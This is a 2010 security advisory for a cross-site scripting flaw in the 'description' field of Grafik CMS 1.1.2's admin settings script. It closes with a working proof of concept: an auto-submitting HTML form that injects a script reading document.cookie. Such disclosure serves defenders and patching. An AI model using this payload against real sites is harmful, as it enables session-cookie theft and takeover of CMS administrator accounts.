XSS vulnerability in Grafik CMS

Type securityvulns
Reporter Securityvulns
Modified 2010-06-29T00:00:00


Vulnerability ID: HTB22438 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_grafik_cms.html Product: Grafik CMS Vendor: GrafikPower Vulnerable Version: 1.1.2 and Probably Prior Versions Vendor Notification: 14 June 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/admin.php" script to properly sanitize user-supplied input in "description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/admin.php?action=settings" method="post" name="main" > <input type="hidden" name="name" value="site title" /> <input type="hidden" name="admin_mail" value="example@example.com" /> <input type="hidden" name="keywords" value="" /> <input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' /> <input type="hidden" name="site_url" value="http://www.example.com/" /> <input type="hidden" name="seo_url" value="0" /> <input type="hidden" name="mailing" value="1" /> <input type="hidden" name="template" value="templates/default" /> <input id="sbmt" type="submit" name="submit" value="Valider" /> </form> <script> document.getElementById('sbmt').click(); </script>